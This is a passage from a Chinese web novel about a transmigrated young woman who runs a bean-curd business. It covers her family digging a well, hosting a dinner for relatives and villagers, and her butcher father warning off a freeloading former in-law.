“哼!我確实是不想与人有过多牵扯,是对所有人,可不是只针对族人!”林真破罐子破摔。 “不是的,真姐儿,你是个大气爽利的姑娘。你待马娘子就挺好,与林掌柜等人相交时,也很是明理大方。”贺景又轻轻道,“你就是不耐烦应付族人。” 林真没说话,睁着眼睛,屋内昏暗,只几许夜色漏进来,照亮一角。 “我晓得,族人许是抱团、许是议论,你不喜如此。可真姐儿,要我说,这些都是小事儿,人聚在一處生活,总是会有这样的事。咱家是能关起门来过日子,可不能完全不与其他人打交道。”贺景的声音很轻。 “若是不抱团,可争不下此等好地好水来生存。我说句真心话,林氏一族,虽也有这样那样的纷争,可族长公正,族风已然算是顶不錯的了。咱们成亲时,族长家可给咱家帮了不少忙。” 林真无话可说,贺景全说中了。 她一个自由自在的现代人,陡然到了此處,处处是规矩、是掣肘、是议论,她确实心有抵触。更别说,来了枣儿村后,还生了许多不算愉快的事。 “真姐儿没去过贺家湾罢。若是在那处,爹只有你,想要招赘,那是绝无可能的。”贺景似乎笑了笑,“怕是媒人都进不得村,然后,爹也许就会出意外,留下的女儿,第二日就会被送到不知道甚地儿去。” “大虞朝,可不能買賣人口。”林真半天才憋出一句话来驳。 “是,不是買卖。是认幹亲,干娘干爹接义女去小住一段时间,谁能说甚?” “真姐儿,你这么聪明,应当晓得,族人,用得好了,会是你莫大的助力。” 听见先前几句,林真猜到了些什么,在黑暗中还轻轻拍了拍贺景。可听见后头一句,她炸毛了,与贺景隔得老开。 “甚助力?我能干甚大事?咱家现在挺好的,我什么也不会做!” “好,是我说錯话了。”贺景从善如流,立即改口。 “哼!没大没小,你怎么叫我的?真姐儿?那是爹和苗娘子叫的。” “没叫错啊?真姐儿,真姐姐,你确实比我大两月呢。” 林真败下阵来,翻过身去,用被子将自己全卷起来,不理人了。 == 翌日,林真大早上围着家里转了一圈儿,又在心里过了一遍账本,冲着她爹道。 “爹,你来,我与您商量个事儿。” “作甚嘛?你不是使唤我去寻打井队的嘛?”林屠户嘟囔着过来。 “这几天咱家的大小灰和大毛吃得都挺好,族人打草可见是用了十足的心。我想着,咱家里劳力还是少了些,家里用柴又多,不若放出消息去,从族中买薪柴,一担给十三文,冬日再涨五文。能腾出手来,还能教族人也省些力气。” 林真虽然还是不赞同贺景那一套理论,可也不介意花些小钱来哄她屠户爹。 “果真?”林屠户果然欢喜,又搓着手道,“咱花钱买柴,那还有得赚不?” “爹,您现在怎么也净说怪话?我如何定价的您不晓得?哼!” 即便是只卖腐竹,所得之利除开这些支出后还有得赚,更别说她还卖熏豆干和鹵豆干了,这部分,完全是纯赚。 林真现在,可是能日入一貫钱的人! 第34章 林屠戶家打井, 不請族人相帮。 这个消息长腿儿似的传遍了枣儿村,倒不是林家有意炫耀。 实在是村里日日都有生人进出,还带着凿子铁铲等工具, 只稍稍一打听,便都曉得了。 “嗐,屠戶家发达了,自然是瞧不上咱们村里人的。那门戶紧的哟, 大白天的, 日日院门紧闭, 生怕有人将他家赚錢的法子学了去。这厢打井,自然不会教村人进门的。” “哎,有财媳妇儿,前儿我可瞧见了, 你家那俩小子带着铲子上屠戶家,可照样被請出来了。怎的, 他防着咱们这些外人便罢了, 怎連自家亲兄弟都一并防着呢?” 李金梅瞅着说话的人, 认出来这是住在林屠户家旁边的一户人家,不是林氏族人, 是陈家人, 这是村里另一个大姓。 “这筑高墙锁院门, 自然是防着那些个, 日日抻着脖子瞪俩眼珠子直直往别人家里瞧的人。再说了,我那弟妹是个好性子的, 哪回村人上她家买豆腐豆幹的,没招呼人进去喝盏子茶水?可没不准人进出。” 陈姓村人气了个仰倒,可还真不敢再多说些甚。这李金梅口舌厉害, 要是再接几句话,还以为她家真是在图谋林屠户家的营生呢! 等着吧,就屠户家这做法,少不得人议论的。那时候,她看这李金梅还如此猖狂! 这倒是要教陈家婶子失望了。 林屠户得了女儿的吩咐,定下打井隊之后的头一件事,就是去找族长,将自家准备从族人手头买薪柴的事儿说给族长听一听。 也好教族长曉得,真姐儿是忧心族人出事儿,可不是不樂意与族人打交道。 族长林正业听后果真大喜,仔细问了林家每日所需薪柴后,招来小儿子林有文。 “此事你去办,心中可有章程?” 林有文点头:“此乃善举,能帮扶族中孤寡贫弱者,儿子会走访族中,选出合适的人家。也会告诫他们,不可借机示弱索求,教有生大哥为难。” “嗯。” 林正业点点头,心中满意,又指点儿子。 “还有一样,家里全是老弱的,比起铜子儿来,会更愿意直接換取粮食。可有生小子家的田地全给了他大哥种,他家里怕是没有多余的粮食。你给送柴的人家说清楚,莫要纠缠,尽管到咱家来換粮,不会亏了他们的。” “是,那儿子这就去了。” 林有文拱手,曉得他爹也是有意借此机会暗中补贴生活困难的族人。 “有生小子此次打井,不請族人相帮,族中定会有些怨言,你留意着,出手整顿一二。” 林有文恭敬应下,瞧着他爹阖上眼不再言语,这才出去办事。 有族长出手,一场舆论风波就此消散,反是有不少人讚林屠户家仗义。 林有文此事办得漂亮,他挑选出的四户人家,確实是老实忠厚之人,对林家只有感激并无眼红,每日准时送上两担收拾得很是齐整的薪柴。 私下不管是换粮还是分粮都是几家人商量着来,绝不在林屠户面前多话。 林真瞧在眼里,暗中预想的麻烦并未产生,心里也得认:这林家的族长,確实是拎得清,没让做好事的人反而惹得一身腥。 可她也不过这么一想,便丢在脑后。她现忙得很,連家里打井之事都没功夫多管。 那鹵豆幹实在是受欢迎,朱掌柜的拼盘生意也实在是好,林真瞧在眼里,心中一动:先前林掌柜出手帮忙,采买腐竹更是一点儿价没还,她有心回报一二。 这日,林真在兴福坊内擺完攤后,特意约了林福去朱家分茶店。 此时饭点已过,按理来说,是分茶店内最清闲的时候。 可倆人去时,朱家分茶店几乎还是满桌。时不时还有食客进门喊上一嗓子:“小二,来份儿拼盘,再沽一壶米酒来。” 仔细一瞧,几乎每张桌子上都有一盘子小食,食客三三两两闲坐,就着那一盘子小食吃酒侃大山,好不惬意。 林福本就机敏,且今日还是林真特意相请,瞧着擺在自个儿面前那个放了各类嚼杂、爊肉的大圆盘子,几乎一瞬间,就明白了賣拼盘的好处。 这可不止是利润远超单独售賣,还能连带着销售某些为着品类齐全必须有,但却不大好卖的东西。 “这店家好灵巧的心思,想出此种售卖方式。”林福不禁讚道。 “过奖过奖。”林真笑着接下这句称赞,又指了指拼盘中的鹵豆幹,“林小哥尝尝这样。” 林福正惊诧:原是林娘子给出的主意。 此时听见林真的话,不禁打起十二分的精神,以一种绝对郑重的姿态,细细品尝鹵豆幹。 “难怪人人都要沽酒吃,这东西佐酒极妙。” “是,这菜唤鹵豆干,不是多费事儿的做法,与爊肉同煮便是了。只它确实适合当下酒菜,朱家分茶店不是正店,也能凭着这拼盘赚好大一笔酒錢。林掌柜管理的豐樂楼可自家酿酒来卖,有这拼盘,估摸着能添个助力。”林真道。 “多谢林娘子想着,不知这豆干作何售价?”林福很是上道,林娘子应是要销豆干。 “啊?不,小哥误会了,朱家是从我这头拿的豆干,我这豆干供应他一家已快供不上了。可不敢再应下豐乐楼的生意。”林真赶紧摆手。 家里人已经够累了,若想供上丰乐楼的货,必要扩大生产线,那就要加人手、打石磨,说不得,还要再去买一头驴子来。 可等夏日一过,最多坚持到仲秋,这冷冰冰的鹵豆干和爊肉销量一定会降。那时候,她又往哪里去销恁多的豆制品? “啊?这,这可真是……” 天下竟真有这样白白做好事的人?林福实在震惊,都不晓得该如何接话。 “嗐,上回有林掌柜和林小哥相帮,家里说买驴就买着了,对你们来说不算甚,可实实在在是帮了我大忙。我只是想回报一二,小哥莫要多思。且这也算不得甚,林家消息灵通,这鹵豆干又不是甚稀罕的吃食,你们迟早会晓得的。”林真想得很明白。 不说林掌柜背后的林家。就她每日还挨着福源斋的小夥計支攤子,林掌柜迟早会晓得鹵豆干的。还不如现在这样,凭着这个消息还人情,已经是她占便宜了。 “林娘子实在仗义,晓得你不喝酒,我以香饮子敬您一杯,往后,咱们可要常来常往的才好呢!” 倆人将香饮子一饮而尽,瞧着多豪气,可嘴里尽是酸酸甜甜的味儿,对视一眼,不禁好笑。 林真生意好,和林福说完话后倒是溜达着往城门口去,与马娘子说笑几句,等着贺景来接。 唉,家里人实在少,要打井要磨豆子制腐竹豆干,人人都忙得团团转,连燕儿都被苗娘子捉走,去帮着烧火熬豆儿水。 她一人出来摆摊,还怪寂寞的呢。 这头,林福没回丰乐楼,反而去了兴福坊。福源斋摆摊的小夥計见了他,很是殷勤,左一句福哥哥,右一句福管事。 林福问清楚鹵豆干的事儿,心里有了数,又着意叮嘱伙计。 “林娘子是林大掌柜的好友,平日里多照顾着些,多搭把手。”林福解下腰间的荷包直接递给伙计,“周到些,少不了你的好。” 伙计手一摸,估摸着荷包里至少一串钱,眼一亮,将胸脯拍得震山响。 “福管事放心,有我瞧着,看谁敢不长眼地来找林娘子麻烦!” 宰相门前七品官,背靠林家的伙计,在这商人聚集的兴福坊内,确实敢夸下这个口。 “嗯。”林福满意点头,背着手走了。 一直注意着这边的老巡栏,眼中精。光一闪,快走几步,赶上林福,小声道:“福管事留步。” == 只七日,林家的井已经打好了。 俱是用的好料子,青石板砌的井台高出地面些许,防着污水倒流;井栏、井口石、汲水的辘轳、省力的桔槔滑轮一样不少。 工匠还多是细心,用剩下的料子挖了一条排水沟,直接通向院外去,瞧着还怪是好看的。 风水先生打包票寻出的位置实在是好,才出水的时候就是大股大股往外冒,打井隊的都说好。且那井里的水一点儿不浑,清凌凌,一眼能瞧见在里头悠闲游动的一龟一鱼。 “这井出水好,可也要辛苦几日,日日都要将井里的水打干净了,这样往后便是遇上灾年都不容易干。再有,这井水还不能吃,再等个十日,我自会往这头来,等验了水,吃着才放心不是?”打井队的领头细细叮嘱。 边上围着瞧热闹的村人心里一阵感慨。 瞧瞧,到底是县里请来的打井队,活儿做得又快又好,还这样细致周到,连验水都一并包了。林屠户家打这井虽说多费了些钱,可瞧着就是好。 “我家往后打井,也要去县里请匠人来!” 人多,也不知是谁这样嘀咕了一句,可不少人都在心里暗自认同。 这时候的师傅这么负责的嘛?还包售后。 林真被打井队的负责打动,送人出去的时候,还一人捡了一方熏豆干带走。 林屠户忙着请村人吃茶,陪着说说闲话,等院儿里好不容易清静了。 他背着手,踱着步子,刚想好生瞧瞧自家的好井,却听得真姐儿幽幽道。 “瞧瞧这井,一水儿的青石料子,再瞧瞧咱这院儿里,可真真是不相配。” 林屠户脚步一顿,拐着弯躲开去。 第35章 又十日, 打井队的匠人来验水。 “成了!你家这井是真好,先前才加了一回生石灰和白矾,这水就见着清澈, 我那时就晓得这井准能成!”匠人又将井里的一龟一鱼都捞出来。 这是要送出去放生的,也有个祈福的意思在里头。 林真瞧见那倆小东西在桶里游得自在,暗自点头:瞧这活蹦乱跳的,这水能放心吃用。 等送走了打井匠人, 賀景当即将家里两只大水缸都给装滿。 “停, 这头一茬的水可不能用来磨豆子, 家里人也别喝。”这可是那倆小东西的洗澡水呢! 水也没浪费,夜里烧了,一家子痛痛快快都洗了个澡。 林真躺在竹席上晾头发,小腿一晃一晃。真是舒坦, 上辈子随时随地痛快洗澡的日子在这里顯然过于奢侈,这还是她这几个月头一次这么不吝惜用水呢! 还是家里有口井来得痛快啊! 賀景端了一碟子切好的甜瓜和李子来:“在井里湃过的, 起来吃点儿。” “嗯?谁送的甜瓜?”见着了甜瓜林真才觉着失算, 她今儿应该买一个大寒瓜(西瓜)回来的! “茂青大哥送来的。” 林真拿一块, 一口下去,又甜又脆还冰冰凉。 “对了, 爹说想請客呢。以往村人打井都請客的, 咱家这回虽说没請族人相帮, 可家里两回辦事, 少不得村人相助。远的不说,很该請大伯一家子吃顿飯。” 賀景将林屠户的话稍加润色, 一一说给林真听。 “怪了,我爹怎不自个儿来给我说?现反倒是与你多親近。”林真奇怪。 “从前爹賺錢養家,是家里的顶梁柱。现在么, 你賺錢養家,我估摸着,爹心里有点儿不得劲。”賀景斟酌道。 林真猛然直起身,还真是有可能。 她不由懊恼,林屠户正值壮年,自身也是有手艺在身的人,可因着家里的变故,许久没进账不说还一直被家里的事儿绊着手脚。 短时间内瞧不出甚,可时间一长,定会出问题。 “我想着,请几家親近的人家来熱鬧一回也是好的。不是摆席,顶多三五桌的,不费事儿。”贺景瞧着林真不知在想些甚,又补了一句。 “在村子里过活,是得常与亲近人家走动。关系近了,来往得多,家里要辦些甚事儿,一招呼,不缺人来帮忙。” 林真回过神来点点头:“成,爹本就是个爱熱鬧的,既要办,那就好生办。前些日子族长家给咱家帮了不少忙,这回将族长也请来,教我爹去收头猪来殺,一半卖一半自家用。卖不出去也无妨,咱家有井,能放,也能与熏豆干一道制成肉干,不必担心浪费了。” 林真脑子一轉,便起了主意,想借着此事教林屠户从制腐竹一事上脱开身去,将从前的手艺再拾掇起来。 “对了,还没问过你呢?整日在家里磨豆子滤豆浆可是无聊?你可有想做的营生?”林真琢磨着,也不能厚此薄彼,也问问贺景的打算。 贺景眼睛睁得大大的,瞧着有些呆,好半天,才小声道。 “我没甚本事儿,从前只想过,能有几亩薄田种粮果腹便好。若运道好,能存下錢来,再挖个鱼塘种桑养鱼养鸭。” “啊?种地?”林真一惊,她可不乐意种地。 只有没下过田的人才会想着种田,但凡掰过玉米起一身疹子;割过麦教麦芒扎得又痛又痒的人,是不会生出这种想法的。 这也是林真从未想过买田的原因。 不过,这是贺景想要的,只要不让她去帮忙,那就无所谓。 “成!等咱有錢了就置地挖鱼塘,可咱们先说好啊,我可不会下地的。” “嗯!我自然不会教你干这些粗活的!” 林真沉默得有些久,贺景一颗心都快沉到底了,听了她这话,一下子又精神了。 倆人,对着那还没影儿的田地说得倒是興头头,很是热闹,都盘算着要养些甚鱼来吃了。 “哎呦,差点儿忘了我爹了。你去给我爹说说请客的事儿,这回倒是去青桑村将我姑也请来。”林真对这个给她爹和她都送了一床厚绵衾的姑姑映像很是深刻。 “他们兄弟姊妹的,成家后也难得相见,一并热闹热闹。” “成,我这就去。” “是得快些去,不然啊,我爹夜里怕是睡不着。”林真撇嘴,还是有一点点酸。 林屠户果真还在院儿里喂蚊子呢! 见着贺景出来,眼一亮,又听得真姐儿同意了,果真欢喜。 “成,我去收猪来殺!教真姐儿不肖掏钱,我出钱!”林屠户将胸脯拍得邦邦响,又道,“只是要教你受累了。” 过了这么些日子,林家人都反应过来了,于烧飯一事上。苗娘子不会整治好飯食,林真也是个会说不会做的。 家里这些人,居然只有贺景擅长此道,只要听林真说上一回,便能烧得一手好饭食。 “我细细算过,将你大伯大姑一家子都喊上,再喊上族长和一些有交情的人家,坐得宽松些,也只四桌人罢。既是小聚,倒是不好去请灶人来,只得劳你动手。” “爹怎生如此客气,咱家请客吃饭,我自是要操办的。”贺景一口应下。 既是要请客,那便赶早不赶晚,秋收将至,若是遇上农忙,再是好的饭菜也顾不上吃。 林屠户既包了菜钱,林真想一想。 先去朱家分茶店定下四个拼盘、两壶清酒并一罐子可兑水喝的青梅露;又往酱坊去,香醋、大酱都买些,隔壁是油作坊,又搬一坛子菜籽油和一壶香油回去。 最后又指挥着贺景往果子行去,她心心念念的寒瓜,她来了! 寒瓜在这时不常见,要不是慈溪县繁华,水路陆路并有,走南闯北的商人多会经过此地。怕是见不着寒瓜,只有当地的甜瓜可吃。 是以,要买寒瓜,还得往果子行去。 林真搬了两圆滚滚的寒瓜,捡了一兜子梨、李子之类的时令鲜果,将驴车塞得滿满当当才罢手。 心情大好,许久没体会到如此买买买的爽快了! 特别是当搬运工兼车夫的贺景很有眼色,只帮着讲价绝不唠叨,瞧着她一气儿花出去一贯多钱,也不多言半句。 家去,林屠户收来的猪被关在后院,食槽里只有水没有食,饿得直哼哼。 可林屠户多高興,瞧见倆人进门赶紧顯摆。 “今儿村人瞧见我拉了猪来,好些都喊着要买肉,我怕明儿请客不够吃,只许了小半扇出去。我后日在村里轉转,要是买肉的村人多了,再去收一头猪来宰杀了。村里卖些,再赶着驴车去别处转转,差不多能卖完!” “成,眼看着要秋收了,您趁着这段时间多跑跑,多给人说说咱家收猪卖肉的事儿。将路跑熟了,往后您就定个时间,三四日宰一回,订着日子往周边村落叫卖。如此,咱在家里就能将这肉摊子支起来,咱家又多一样赚钱的营生。” 林真鼓励道,反正下半年確实是猪肉畅销的时候,秋收、中秋、冬至、年下…… 不止自家要买来哄哄嘴,走礼拿条猪肉也显得体面些。再不济,若真卖不完,留着自家吃也不亏。 “果真?”林屠户先是一喜,又皱眉,“可家里这些活儿全压在你们身上,不妥不妥……” “爹,咱可以雇人啊!家里现就滤豆浆活儿重些,您寻摸个靠谱的族人来。咱只需雇半日,一日给二十个钱,不包饭食。如此也不耽搁家里的活计,您去问问,应当很好找人的。” 林真自从起了心思让她爹重新杀猪摆摊后,心里就已将盘算好了。 “確实能找着,这事儿你怎不直接喊你堂哥来?”林屠户疑惑,就像林真所说,半日工,就在家门口,既不耽误事儿工钱还高,对只有一身力气的农家人来说。 是打着灯笼都难找的好活计,怎不直接教大哥家俩兄弟来? “茂安哥往外卖豆干的生意好,怕是不想丢开手。大伯家只茂青哥能应,我若去喊,茂青哥定然会应,可就怕大伯家里也忙。你私下去问问,若是茂青哥不愿意,再去找其他人。” 林真觉着,他茂青哥是定然不会应下的。 一来确实是人手问题;二来,自从出了水井事件后,茂青哥心里怕是不好意思再来自家赚钱了。 一边说,林真一边将寒瓜果子都湃在井里,瞧着俩大西瓜美了好一会儿,这才去帮着搬东西进灶屋。 “咦,您还买了兔子?可真真是大手笔,正好,好肉配好酒,给您打的清酒呢!” “哪是我买的。今儿我出门请客,整好遇见了咱村的猎户,我与他也算有几分交情,既撞见了,自然也要邀一邀他的。人是真大方,下半晌就给送了俩兔子来,还是剥了皮子处理好的哩!” 林屠户说完,又搓着手问。 “还买的清酒啊?弄得这样好。” “请客吃饭么,自然要招待好客人。我还买了青梅露呢,明儿我们女桌也吃个尽兴,您没忘了给有文叔说定要请容娘子来吧?我成婚时,她跟着跑前跑后帮了不少忙。”林真有些奇怪,俩兔子可不便宜,寻常吃饭,走礼这么重的吗? 可瞧她爹那样子,也问不出甚来,只能暂且放下不提。 “嘿,我自然特意请了的。”林屠户答一句,一下子找着了那两壶清酒。 抱着稀罕了好一会儿,亲自放在柜子里上了锁。 好东西啊!可别教耗子糟蹋了。 他心里多高兴,将自己家杀猪那套刀具找出来用细磨石好生磨了磨,还抹了猪油。 他说请客,一家子都如此用心操办。 且后头真姐儿还出了好点子,又能杀猪来卖,家里又多个进项,他实在高兴。 第36章 一大早, 才将将吃了朝食,林大伯一家俱往林屠戶家来了。 男人帮着林屠戶按猪宰猪,妇人洗菜剥蒜, 忙得好不熱鬧。 “小婶,真姐儿今日还去摆摊了呀?”林巧儿没瞧见林真,随口一问。 “是,真姐儿说这摊子一支起来了就不能停。日日都得去, 前些日子趕上落雨的时候, 她批着蓑衣斗笠也是要去的。”苗娘子答道, “且真姐儿说好今儿要带好菜家来,必要去县里的。她也晓得今日家中請客不该怠慢,今儿拿的货少,必能早些家来。” 一番话, 处处是维护。 “哇,真好!我今儿可有口福了, 有鸡有兔有肉, 还要专从县里带好菜来!”林巧儿心大, 一门心思在吃上。 李金梅一邊为二房一家子的心齐和睦感到高興,一邊忍不住又瞪了一眼自家不省心的大儿媳妇。 搁往常, 他们两家哪里需要多废口舌来解释这些个细枝末节。 挨瞪的劉桂香不敢说话, 只能低头, 默不作声择菜叶。 不多一会儿, 家住青桑村的林香莲一家子趕着驴車也来了。 “大姐,怎来得这样早?你离得远, 很不必趕着来,咱这些人,还整治不出几桌子菜来?”正刮猪毛的林屠戶瞧见林香莲一家子进门, 不免道。 “你請客吃飯,我怎能不来给帮帮忙?” 林香莲先招呼林巧儿将家里的倆小崽子领走,自个儿腾出手来加入备菜队伍里头,又瞪一眼丈夫:“还不去帮忙。” 林巧儿和燕儿这倆当姑姑的,混在三个萝卜头中间,围着林屠戶,鬧着要炙猪肉来吃。 林屠户由着她们,给割了好些肥瘦相间的五花肉,林巧儿在院儿里堆个火堆,高高矮矮的姑侄几个围成一圈儿,一人举一串儿肉,撒些粗盐,个个吃成小黑嘴,连晌午飯都不肖吃了。 李金梅瞧着混在一群孩子里头的林巧儿眼前一黑:都要说亲的人了,怎还是一副小孩模样! 有心说她几句,可心里也是疼的,女儿家,也只有作姑娘的时候才能松快几分。最终只不痛不痒说几句,不好好吃饭之类的话。 可林巧儿还多有理:“夕食才是正经菜呢!我且留着肚儿吃好菜。” 林真才进门就听见这番道理,凑熱闹道:“确是这个理,咱巧儿才是真聪明呢!” 林真现已熟练掌握蹭車技巧,今儿又是蹭着米行送豆子的車回来的,手里还提着一个大大的食盒。嗯,这食盒是找朱掌柜暂借的。 家里这会儿现成的劳动力多,三两下就将豆子卸下装仓。 米行的伙计多有眼色,晓得主人家有事儿,并不多留,卸完货便要走。林真捡了几只湃过的梨子送人,又谢过一回米行伙计,多走几步,将人送出门去。 “唉,真姐儿,可认得我?”耳边忽听一陌生男子招呼她。 林真打眼一瞧,心里一樂,这不原身那倒霉舅舅么? 她冲人一笑,也不说话,只转身进屋去,还将院门大大敞开。 她倒要瞧瞧,这人有没有胆子在这时候往她家里来。 “唉!你这……” “真姐儿,你送个人怎恁磨蹭?赶紧来,你说那兔子要怎么烧来着?”林茂安来喊人。 陆富貴瞬间咽下嘴边的话,一下子缩回暗处。 林老大家这倆儿子可不好惹,特别是这小子,上回来搬砖瓦的时候差点儿打起来,今儿他可是一个人来的,真被打了也找不回场子。 林屠户家飘来陣陣肉香,陆富貴缩在外头,蹲在杂草丛里。嗅着林家传来的肉香一阵心疼。 “这是放了多少肉?多少油?哎呀!怎还有鸡汤的味儿?請这一回,要废去多少银钱?” 陡然,一阵又呛又辣的味儿传来,里头还混着一股奇妙的肉香,更显霸道与异香扑鼻。 陆富贵不受控制地咽了咽口中的唾沫,更着急了。 “怎舍得下这样多的香料?得多贵啊!” “真姐儿下油下料那手,着实重。”林家院儿里也有人心疼。 林香莲小声嘀咕一句,可又觉着侄女儿大方又贴心,还将她挂在心上。 家里治了好菜,巴巴地使唤林屠户上门来请,若不然,这不年不节的,也不是办甚大事,她还真不好轻易回娘家。 茱萸辣中带着辛味,且那股子辛味儿有点像中草药的味。可用热油这么一滚,又加了姜蒜花椒,那股子辛味一去,便只剩下香辣。 麻辣鲜香、肉质滑嫩,便是这道高温快炒的爆炒兔丁之精髓。 随着这道菜出锅,林屠户请来的客人陆续上门。 人人手里还都提着些东西,或是一把菜园子里的好菜或是自家腌制的咸菹酸菜,连已经送了倆兔子的猎户家,居然又提着一壶米酒来。 院儿里一下子热闹起来,众人闲聊几句,便帮着摆桌子端菜甚的。 要开席咯! 四桌人,吃酒的男人倆桌,妇人小孩儿两桌。 有爆炒兔丁和鹵味拼盘,不止男人们吃酒,林真将吊在井里的青梅露提上来,豪气道。 “咱们也走一个!” 林巧儿在一旁助阵:“就是,就是,怎能只教爹他们喝尽興,咱们也喝!” 青梅露是要兑水调的,林真家来头一件事儿就是将一整瓶青梅露兑好,征用了林屠户装米酒的酒瓮子,吊在井里许久,这时候喝来,带着丝丝凉意刚刚好。 众人都倒了一碗,连燕儿都有半碗。巴巴儿地举着碗,一起碰了一个。 原本最是拘束的荣娘子和苗娘子,有这么一出后,脸上的笑都深了几分。 男桌那边儿更是热闹,贺景也陪着喝了一碗。他原就会说话,一顿饭的功夫下来,劉元拍着他肩膀直叫’好侄儿‘,那模样,不晓得的,还以为贺景是刘家子侄。 总之,一桌子人,就没有不赞的。 男桌赞贺景,女桌夸真姐儿。 林屠户滿面红光,高兴得不知如何是好,只一味喝酒,只要有人赞,他就拉着人喝酒。 众人俱相熟,且都有几分豪爽脾性,吃耍做樂,好不尽兴。 因着林香莲家远些,今日这顿饭吃得早,结束得也早。可众人离去时俱是滿脸笑,带着满身的酒香和肉香。有些吃酒上脸子的,面上还起了两团红晕。 林屠户和贺景将人一一送出门。又回来跟着林真劝大姑一家子今晚留宿。 “姑父是吃了酒的,怎好还赶着驴車家去?” 那啥,驴车也是车,可不敢酒驾。 林香莲将眉一挑:“真姐儿小看人了不是?你姑姑我赶车的手艺可不比谁差,晓得他今日要喝酒,那样好的梅子露我只喝了一碗,可不就是防着你姑父那端着酒碗就不放的性子?哼!我且用不着靠他呢!” 刘姑父在一旁赔笑。 林香莲摆摆手:“甭劝了,趁着日头还没下去我且要赶路呢!下回,你只要去请姑姑,姑姑一准儿来的。” 说罷,张罗着自家的俩崽子上车,很是潇洒地走了。 林真盯着瞧,同是驴车,她姑这可不是空荡荡的板车,而是带顶棚有车厢的辇车。里头还垫了席子铺了旧棉絮,少了许多颠簸之苦。 心动,想要。 她先前淋雨去县里的时候,要是有这样一辆辇车,可少受好些罪。心里细细算过一回账,再有一个月,她先攒下钱来修葺屋子,再攒些钱来置办辇车。 来得及! 想到修葺屋子,林真想起先前畏畏缩缩躲在墙外窥探的人,眼一眯。 啧,今日实在欢喜,先让她屠户爹睡个好觉罷了。 林真有惊喜要给她屠户爹,贺景也有话与她说。 院子林大伯一家子帮着收拾了,倆人烧了热水洗涑过后躺床上,都没睡意。 贺景打着蒲扇,推推林真:“真姐儿,我跟你说,今日来的沈猎户父子,怕是想跟着爹学屠户手艺呢。” “嗯?怎没听我爹说起过?” “沈家父子没明说,是我猜的。他们席间多引着话头往这上头来,又多捧着爹。还有,沈家送来的礼可重了,连最是讲究的族长家,都只提了一篮子葡萄来。沈家可是送了俩兔子又打了酒来,言语间多客气,说是自家贪杯这才带酒,可我瞧着,他们倒是多捧着爹喝,自家没喝恁多。” 贺景将席间的见闻一一道来,他现在林真面前已不怎么避着自个儿这擅于揣摩的本事儿了。 “嗯?就一顿饭你就琢磨出这许多,真是厉害。”。 瞧,就是这样,林真只会赞,可不会露出那种忌惮又嫌恶的神色。 “哎,咱商量个事儿啊。家里请人来滤豆浆,重活儿有人分担,我也在家里躲躲,你往县里摆摊去,咱俩換着来罢?”林真一下子将话题拉偏了。 先前以为有贺景能和她換换,她也能缓缓。 可谁晓得,丰乐楼要腐竹,家里活计番了一倍,只能将贺景留在家里帮着滤豆浆。 “咱说正经事儿呢!”贺景不满。 “我说的也是正经事儿啊。”林真更不满。 她随即又叹道:“你不跟着爹学杀猪,我也帮不上忙。若是有个勤快力壮的肯帮爹一把,我乐意着呢。你不晓得,爹年轻时不惜力,身上很是落了些伤痛。” 贺景一下明白了,先前真姐儿隐约不大乐意爹再去杀猪,根由原是出在这头上。 “只不晓得我爹是个甚意思,先前当徒弟好生教导的那个不是个东西。现自个儿找上门来的沈家又是甚样呢?” 林真想了想,又戳戳贺景。 “你们爷俩现多亲近,你与爹提一提。若那沈家是个好的,劝着爹应下此事来。” 这人,还记着请客先与他商量这事儿呢? 第37章 一心惦记着要搞事的林真。 隔日一大早, 才梳洗完就去找她屠戶爹。 “爹,起了啊?”林真笑眯眯。 “咋了?不一向这个时辰起的麽?”林屠戶奇怪。 “哎,跟您说个事儿。昨儿咱门口有个面黑矮个儿的大伯叫住我, 问我認不認得他。我还以为是您請的客人,可瞧着他磨磨蹭蹭不大敢进门的样子,很是可疑。便想先来问问您,可您却说客来齐了可开席。我忙着招呼客人, 转头就将此事忘了去。今儿才想起来要问问您。” 林真继续装傻:“那人面相瞧着憨厚, 可眼珠子直转可不像是个好的。对了!他脖子上有一片青黑, 似乎是胎记。您可识得这人?” 林屠戶先听着还没放在心上,等林真描述出陸富贵的面貌后,心里一抖。 啧!他从前可没拦着陸家人来瞧真姐儿,是陸家人自个儿不来。后头他觉出真姐儿似乎不大愿意提起陸家那头, 便从不在她面前说起。 这院儿里被扒拉成这样,他可还没跟真姐儿说呢!(林屠戶显然还不知道自家已经被巧儿卖了。) 那陆富贵怎这时候往真姐儿跟前凑? 林屠户眉头一皱, 可别是瞧着真姐儿能挣錢了, 又想从她身上捞好處罢? 这可不成! 从前只是瞧在秋娘的面上, 即便那陆富贵时不时来肉攤子上討便宜,可自个儿与他舅兄一场, 他占些便宜就算了。 可真姐儿不一样, 从没得过外祖舅舅的好, 幼时还常被小童奚落。 陆家任何人, 都别想打真姐儿的主意! 从前不出现,往后便也不必出现。 “是爹从前的旧相识, 早已断了往来。你不肖担心,爹自会處理,必不让这人扰了你的清静。”林屠户面上没露出甚。 可在家滤完豆浆后, 赶着驴车便往陆家村那头去了。 他也不登从前岳家的门,只托村人将陆富贵找来。 “姐夫!您找我?”陆富贵颠颠儿的来了。 真姐儿还是识得他的,与林屠户一提,隔日就上门来,怕不是来给他送肉的罢? “富贵啊,可别这样唤我了。”林屠户眉毛都不动一下,将剔骨刀抽出来,擺在驴车上。 “咱俩家早断了往来,两姓的族长都曉得,还作了见证,可不好再乱攀亲戚。” “这,姐夫,这是怎说的?当年我说不上话,要是能说,我一准儿拦住爹娘,您可别跟二老计较。”陆富贵忙道。 “是,你陆家二老还在,我也从不踏陆家村的地儿。” 林屠户说着,将剔骨刀往板车上一杵,寒光一闪,陆富贵生生停下往前凑的步子。 “可我爹娘,却早早便走了。全是我这不孝子,教他们晚年还不得安生。”林屠户语气十分平静却莫名森然。 陆富贵往后退了两步。 林屠户看他一眼,道:“往后,你别往棗儿村凑了。” “曉得了,晓得了。”陆富贵瞧着林屠户手里比划着那老长的剔骨刀,心中发紧,忙不迭应下。 “对了,你怎会往棗儿村去?谁给你透的消息、指的路?” “肉行那头的巡栏,您常与他喝酒的那个。” 陆富贵缩着脖子老实交代。 他昨日还像往常一样想去林屠户攤子上討些肉来解解馋,可却扑了个空。 多问几句罢,那肉摊上的屠户还叱他晦气,还是那巡栏给拦下的。 又说了林屠户早回村去了,还说林家现在可不得了。姐儿多出息,攀上了贵人,那日子过得啊,可真真是富得流油。就说林屠户罢,正当壮年,居然也不做事了,每日只甩着手过老太爷的日子。 教人好生羡慕。 陆富贵一听,一颗心早被高高吊起,简直是一刻也等不得。转身便往枣儿村跑,还正好遇上了林家請客吃饭。 